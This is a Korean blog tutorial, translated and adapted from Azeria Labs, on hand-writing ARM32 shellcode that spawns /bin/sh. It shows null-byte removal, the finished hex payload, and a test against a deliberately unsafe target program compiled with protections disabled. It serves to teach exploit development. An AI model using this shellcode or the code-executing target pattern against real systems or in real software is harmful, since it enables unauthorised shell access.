ARM Exploitation

ARM32 SHELLCODE 작성 (2) - execve("/bin/sh")

*이 포스팅은 Azeria Labs 의 원문 글 중 일부분을 번역한 후 코드를 직접 테스트하며 내용을 수정 보완하였습니다.

원문 : https://azeria-labs.com/writing-arm-shellcode/


1. ARM 쉘 코드 작성 입문

앞서 pwntools의 shellcraft를 이용하여 ARM 32에서 사용할 수 있는 쉘 코드를 손쉽게 얻을 수 있음을 확인했다.

하지만 이러한 도구를 사용하면 편리하다는 장점은 있지만, 정상적으로 작동하지 않는 경우가 있고 그때 직접 수정해야 할 필요가 생길 수 있다. 뿐만 아니라 쉘 코드가 구체적으로 어떤 원리로 동작하고, 어떻게 만들 수 있는지가 궁금하다면 이 글을 통해 쉘 코드 작성을 직접 수행하는 예제를 배워보자.

쉘 코드 작성에서 중요한 두 가지가 있다. 첫 째는 쉘 코드의 크기가 알맞아야 하고 특히 null-bytes가 포함되지 않아야 한다는 것이다. C언어로 작성된 프로그램 중 strcpy 함수의 취약점을 이용한 버퍼 오버플로우가 많이 발생되는데, 이때 쉘 코드 내에 null-bytes가 들어 있다면 데이터 복사가 null-bytes 전 부분까지만 이루어지게 되어 익스플로잇이 정상 동작하지 않기 때문이다. 두 번째로는 되도록이면 라이브러리 호출이나 절대 메모리 주소(absolute memory address)를 이용하지 않는 것이 좋다. 왜냐하면 되도록 특정 상황에 종속되지 않고 일반적으로 작동할 수 있는 쉘 코드를 만들기 위해서 이러한 환경에 의존하지 않도록 하기 위함이다.


2. ARM Assembly 

본격적으로 쉘 코드 작성에 앞서, ARM 어셈블리 언어를 이용한 프로그래밍을 알아두길 바란다. 

arm 레지스터와 intel x86 레지스터의 차이는 아래와 같다.


arm 어셈블리 언어와 intel x86 어셈블리 명령어의 차이는 대략 아래와 같다.

x86
ARM
pop eaxpop {r0}
mov eax, eaxmov r0, r1
add eax, ebxadd r0, r0, r1
add eax, 0x10add r0, #16
mov eax, [ebx]ldr r0, [r1]
mov [eax+0x10], ebxstr r1, [r0, #16]
call eaxblx r0
jmp eaxbx r0
call functionbl function
(return address in lr)
retpop {pc}  /  bx lr
int 0x80svc 0x80  / svc 


3. 시스템 콜 함수의 이해

시스템 콜이란 사용자가 커널과 소통할 수 있는 인터페이스이다. 리눅스 시스템에서는 다양한 syscall 함수를 제공하고 있으며 linux man page에서 원하는 시스템 콜의 명세를 확인할 수 있다. 예를 들어 write() 함수에 대한 설명을 보자.

/* write - write to a file descriptor */
#include <unistd.h>
ssize_t write(int fd, const void *buf, size_t count);

C언어에서 write함수를 다음과 같이 사용할 수 있다.

const char string[13] = "Hello World\n";
write(1, string, sizeof(string));        // Here sizeof(string) is 13

이때 write함수의 사용을 보면 다음과 같이 내용을 매개 변수로 설정하게 될 것이다.

  • fd – 1 (STDOUT)
  • buf – (문자열이 저장된 곳에 대한 포인터)
  • count – 기록할 글자 수 -> 13
  • write 함수에 대한 시스템 콜 번호 -> 0x4

함수로의 매개 변수 전달은 인텔과 비교했을 때 아래와 같이 전개하면 된다.


sysnumr7
arg1r0
arg2r1
arg3r2
system callsvc 0x0


이를 어셈블리 코드로 나타내면 다음 그림과 같다.

Code section 중 위의 4줄은 system call 번호가 4인 write(1, string, sizeof(string)) 을 수행하는 코드이고, 밑의 2줄은 system call 번호가 1인 exit() 함수를 호출하여 프로그램을 종료하는 것이다. 해당 어셈블리 코드 (write.s)를 아래의 방법으로 컴파일하여 바이너리로 만들고 실행할 수 있다.

pi@raspberrypi:~ $ as write.s -o write.o
pi@raspberrypi:~ $ ld write.o -o write
pi@raspberrypi:~ $ ./write
Hello World

어셈블리 언어를 이용하여 원하는 시스템 콜을 호출하는 방법을 확인했으니 이를 이용하여 쉘 코드를 작성해보자.

1) 시스템 콜 동작 분석하기

다음과 같은 C언어 프로그램을 작성해보자. 

#include <stdio.h>

void main(void)
{
    system("/bin/sh");
}

이 프로그램은 시스템 콜 함수인 system()을 호출하고 있다. 이때 구체적으로 어떤 일이 벌어지는지를 추적하기 위하여 strace 도구를 사용해보자.

pi@raspberrypi:~$ gcc system.c -o system

pi@raspberrypi:~$ strace -f -v system
--- snip --
[pid 4575] execve("/bin/sh", ["/bin/sh"], ["MAIL=/var/mail/pi", "SSH_CLIENT=192.168.200.1 42616 2"..., "USER=pi", "SHLVL=1", "OLDPWD=/home/azeria", "HOME=/home/azeria", "XDG_SESSION_COOKIE=34069147acf8a"..., "SSH_TTY=/dev/pts/1", "LOGNAME=pi", "_=/usr/bin/strace", "TERM=xterm", "PATH=/usr/local/sbin:/usr/local/"..., "LANG=en_US.UTF-8", "LS_COLORS=rs=0:di=01;34:ln=01;36"..., "SHELL=/bin/bash", "EGG=AAAAAAAAAAAAAAAAAAAAAAAAAAAA"..., "LC_ALL=en_US.UTF-8", "PWD=/home/azeria/", "SSH_CONNECTION=192.168.200.1 426"...]) = 0
--- snip --
[pid 4575] write(2, "$ ", 2$ ) = 2
[pid 4575] read(0, exit
--- snip --
exit_group(0) = ?
+++ exited with 0 +++

확인해보니 시스템 콜 함수인 execve()이 호출됨을 알 수 있다.


2) 시스템 콜 번호 및 매개 변수

그렇다면 execve() 를 사용하기 위해서 이 함수의 매개 변수 설정이 어떻게 되는지를 확인해보자. 

/* execve - execute program */
#include <unistd.h>
int  execve(const char *filename, char *const argv [], char *const envp[]);

해석하면 아래와 같다.

  • r0 : 실행할 바이너리의 경로 및 이름을 명시한 문자열 포인터
  • r1 : 커맨드 라인 변수로 지정할 argv[] 배열
  • r2 : 환경 변수로 지정할 envp[] 배열

여기에서 execve("/bin/sh")이 목적이라면 argv[] 과 envp[] 는 무시할 수 있다. 그러므로 execve(*filename, 0, 0) 을 만들면 된다. 참고로 execve의 시스템 콜 번호는 11번이다.

이를 각각의 레지스터에 집어넣는 과정을 아래 그림과 같이 도식화할 수 있다.

이를 어셈블리 코드로 나타내자.

https://github.com/azeria-labs/ARM-assembly-examples/blob/master/execve1.s

이때 r0에 "/bin/sh" 문자열의 위치를 지정하기 위하여 PC 와 관련된 연산을 사용했다. 참고로 ARM에서 effective PC 라는 개념이 있는데, 일반적으로 PC란 바로 다음에 실행할 명령어를 가리키는 게 맞지만, 구 버전의 ARM환경에서는 현재 실행하는 명령어보다 2개 다음 명령어를 가리키도록 설계가 되었고, 이후 하위 호환성을 위해 쭉 이런 설정을 유지하고 있다. 즉 첫 번째 add r0, pc, #12 가 수행될 때의 PC 값은 mov r2, #0 구문이고, 여기에서 12를 더하게 되면 ARM32는 4 단위로 체크하므로 3줄을 건너뛰게 되어 r0 = "/bin/sh"를 가리키게 된다.

이를 컴파일하고, 오브젝트 파일에서 binary 를 추출하여 pwntools의 disasm 도구로 확인해보자.

pi@raspberrypi:~ $ as execve1.s -o execve1.o
pi@raspberrypi:~ $ objcopy -S -O binary -j .text execve1.o execve1.bin
pi@raspberrypi:~ $ cat execve1.bin | disasm -c arm

   0:    e28f000c         add     r0,  pc,  #12
   4:    e3a01000         mov     r1,  #0
   8:    e3a02000         mov     r2,  #0
   c:    e3a0700b         mov     r7,  #11
  10:    ef000000         svc     0x00000000
  14:    6e69622f         .word 0x6e69622f
  18:    0068732f         .word 0x0068732f

(참고로 14줄과 18줄은 코드가 아니라 텍스트인데, disasm 도구가 명령어로 해석을 잘못한다.. 내가 수정하여 첨부하였다)

여기에서 중요한 사실은 빨간색 00으로 표시된 부분이 많이 존재한다는 것이다. 쉘 코드 내에 포함된 Null-bytes를 제거해야만 원활한 쉘 코드 사용이 가능하다. 때문에 이를 제거하기 위한 작업으로써 De-Nullifying을 수행해야 한다.


3. 쉘 코드에 포함된 널 문자 제거(DE-NULLIFYING)

쉘 코드에 포함된 널 바이트를 손쉽게 제거하기 위한 방법으로 ARM의 THUMB 모드 사용을 권장한다. THUMB모드는 명령어의 크기를 절반(4->2)으로 줄여주므로, 잠재적으로 명령어 내에 NULL 이 등장할 확률을 감소시켜준다. thumb mode로 전환하게 되면 mov r1, #0과 같은 명령어를 sub  r1, r1, r1” (r1 = r1 – r1) 또는 eor  r1, r1, r1” (r1 = r1 xor r1) 으로 바꿀 수 있다. 다만 Thumb 모드를 사용하더라도 명령어의 길이를 4 byte 단위로 정렬해주어야 한다는 사실을 숙지해야 한다. 만약 2바이트에서 끊어진다면, NOP 역할을 수행하는 mov r5, r5 같은 명령어로 채워 넣어서 줄을 맞추어주어야 한다.

https://github.com/azeria-labs/ARM-assembly-examples/blob/master/execve2.s

다시 이 코드를 컴파일하고 이번에도 NULL byte가 있는지 확인해보자.

pi@raspberrypi:~ $ as execve2.s -o execve2.o
pi@raspberrypi:~ $ objcopy -S -O binary -j .text execve2.o execve2.bin

코드 영역에 있던 널 바이트들은 모두 사라졌다. 하지만 문자열이 존재하는 데이터 부분에 한 개의 널 바이트가 남아있다. 이는 "/bin/sh" 가 7글자이기 때문에 4바이트의 배수로 맞춰주기 위한 널 바이트가 마지막에 붙은 것이다. 이를 제거하기 위한 꼼수가 필요하다.

  • “/bin/sh\0” 를 “/bin/shX” 으로 변경
  • strb (store byte) 명령어를 사용하여 특정 레지스터의 X 부분에 0을 삽입하여 null-byte로 교체

이를 어셈블리로 아래와 같이 작성하자.

https://github.com/azeria-labs/ARM-assembly-examples/blob/master/execve3.s

다시 이 코드를 컴파일하고 이번에도 NULL byte가 있는지 확인해보자.

pi@raspberrypi:~ $ vi execve3.s
pi@raspberrypi:~ $ as execve3.s -o execve3.o
pi@raspberrypi:~ $ objcopy -S -O binary -j .text execve3.o execve3.bin
pi@raspberrypi:~ $ cat execve3.bin | disasm -c arm
   0:    e28f3001         add     r3,  pc,  #1
   4:    e12fff13         bx      r3
(생략)

pi@raspberrypi:~ $ cat execve3.bin | disasm -c thumb
(생략)
   8:    a002             add     r0,  pc,  #8      ; (adr r0,  14 <.text+0x14>)
   a:    4049             eors    r1,  r1
   c:    4052             eors    r2,  r2
   e:    71c2             strb    r2,  [r0,  #7]
  10:    270b             movs    r7,  #11
  12:    df01             svc     1
(생략)

(명령어가 아닌 문자열로 해석)
6e69622f         .word "nib/"
7868732f         .word "xhs/"

이제 모든 널 바이트를 제거했다!


4. 쉘 코드를 16진수 문자열로 변환하기

컴파일한 bin 파일을 실제로 python 코드 등에서 문자열 혹은 바이트 배열로 사용할 수 있으려면 아래의 방법으로 출력을 시키면 된다.

$ hexdump -v -e '"\\""x" 1/1 "%02x" ""' execve3.bin 
\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x02\xa0\x49\x40\x52\x40\xc2\x71\x0b\x27\x01\xdf\x2f\x62\x69\x6e\x2f\x73\x68\x78

execve("/bin/sh")을 실행하는 쉘 코드를 성공적으로 만들었다.


5. 테스트

1) 그냥 실행

쉘 코드를 테스트하기 위한 간단한 방법은 오브젝트 파일에서 ld를 이용해 실행 가능한 바이너리로 만드는 것이다. 이때 일반적인 ld 명령어로 링킹을 하게 되면 문제가 발생한다. 사용한 strb 명령어가 .text의 코드 부분을 수정하려고 하기 때문인데 이는 읽기 전용 영역이어서 그렇다. 링킹 과정에서 -N 옵션을 지정하면 이러한 속성을 해제할 수 있다.(do not make text readonly)

pi@raspberrypi:~ $ as execve3.s -o execve3.o
pi@raspberrypi:~ $ ld execve3.o -o execve3
pi@raspberrypi:~ $ ./execve3 
Segmentation fault
pi@raspberrypi:~ $ ld -N execve3.o -o execve3
pi@raspberrypi:~ $ ./execve3 
$ whoami
pi
$ exit

실행 결과 쉘이 잘 실행되고 있다.


2) 테스트 대상 프로그램에 주입

이번에는 테스트 대상 프로그램(target.c)을 간단히 구비한 후, 작성한 쉘 코드가 정상 작동하는지 확인해보자.

#include <stdio.h>
#include <string.h>
#include <err.h>
#include <stdlib.h>

char buf[2048];

int main()
{
  if (!fgets(buf, sizeof(buf), stdin))
    err(1, "Too long input");

  // a few info for debugging
  printf("> length: %d\n", (int)strlen(buf));
  for (int i = 0; i < strlen(buf); i += 1) {
    if (i % 16 == 0)
      printf("> %04X: ", i);
    printf("%02X ", (unsigned char)buf[i]);
    if (i % 16 == 15)
      printf("\n");
  }
  printf("\n");

  (*(void (*)()) buf)();
}

아래의 명령어로 컴파일한다. 이때 보안 설정을 해제한다.

$ gcc -std=gnu99 -g -O0 -fno-stack-protector -fno-PIE -fno-pie -z execstack -o target target.c

아래의 명령어로 target 바이너리에 shellcode의 내용을 주입한 후 strace를 통해 어떤 execve 시스템 콜이 어떤 매개 변수로 호출되었는지를 확인할 수 있다.

$ bash -c '(cat execve3.bin; echo; cat) | strace -e execve ./target'
execve("./target", ["./target"], 0x7efff568 /* 33 vars */) = 0
> length: 29
> 0000: 01 30 8F E2 13 FF 2F E1 02 A0 49 40 52 40 C2 71 
> 0010: 0B 27 01 DF 2F 62 69 6E 2F 73 68 78 0A 
execve("/bin/sh", NULL, NULL)           = 0


6. 결론

이번 글에서는 execve("/bin/sh")를 호출하는 것을 확인했다. 이때 r0 레지스터만 설정하면 충분했다. 하지만 만약 "/bin/cat /etc/passwd" 와 같은 명령어를 수행하려면 어떻게 할까? r0 레지스터를 배열 형태로 전개해야 할 것이다. 다음 글에서는 이러한 예제를 실습해보자. 

Software Security Engineer

CPUU 님의 창작활동을 응원하고 싶으세요?

CPUU의 Daydreamin'
CPUU의 Daydreamin'
구독자 220

0개의 댓글

SNS 계정으로 간편하게 로그인하고 댓글을 남겨주세요.
새로운 알림이 없습니다.